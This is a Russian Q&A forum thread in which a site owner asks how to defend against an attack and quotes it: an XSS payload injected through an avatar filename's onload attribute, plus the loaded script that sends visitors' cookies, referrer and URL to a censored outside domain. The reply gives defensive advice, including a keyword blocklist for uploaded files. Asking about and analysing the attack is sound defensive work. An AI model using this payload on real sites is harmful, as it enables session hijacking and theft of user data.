Задать вопрос

Как защитить сайт от такого взлома?

avatar.png" onload="let div=document.createElement('script');div.type='text/javascript';div.src='https://censored-domain/p/2.txt';document.body.append(div);


Код с подгружаемого файла:
function include_file(filename){
var js = document.createElement('script');
js.setAttribute('type', 'text/javascript');
js.setAttribute('src', filename);
js.setAttribute('defer', 'defer');
document.getElementsByTagName('HEAD')[0].appendChild(js);
var cur_file = {};
cur_file[window.location.href] = 1;
if (!window.php_js) window.php_js = {};
if (!window.php_js.includes) window.php_js.includes = cur_file;
if (!window.php_js.includes[filename]) {
window.php_js.includes[filename] = 1;
} else {
window.php_js.includes[filename]++;
}
return window.php_js.includes[filename];
}
var svurl = "https://censored-domain/p/?cookie=" + encodeURIComponent(document.cookie) + '&ref=' + encodeURIComponent(document.referrer) + '&path=' + encodeURIComponent(location.href);
include_file(svurl);
  • Вопрос задан
  • 821 просмотр
Подписаться 5 Средний 2 комментария
Помогут разобраться в теме Все курсы
  • Яндекс Практикум
    Фулстек-разработчик
    16 месяцев
    Далее
  • Skillfactory
    Профессия Веб-разработчик
    12 месяцев
    Далее
  • Хекслет
    Fullstack-разработчик на Node.js
    16 месяцев
    Далее
Решения вопроса 1
xmoonlight
@xmoonlight
https://sitecoder.blogspot.com
1. Имя загружаемого файла (и любые пользовательские текстовые данные) - проверять СТРОГО ТОЛЬКО ЧЕРЕЗ REGEX!

2. Проверять тело аватарки сразу после загрузки (пока файл во временной папке) на соответствие формату изображения. Например, запросив разрешение изображения или любое другое свойство, проверить заголовок.

3. Проверить валидность на минимальный и максимальный размер файла изображения.

4. И, заодно, бонусом, можно проверить тело файла на содержание любого из слов: script,document, window, onload, onerror, function, body,query, select,update, insert.

БОНУС: сигнатуры
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы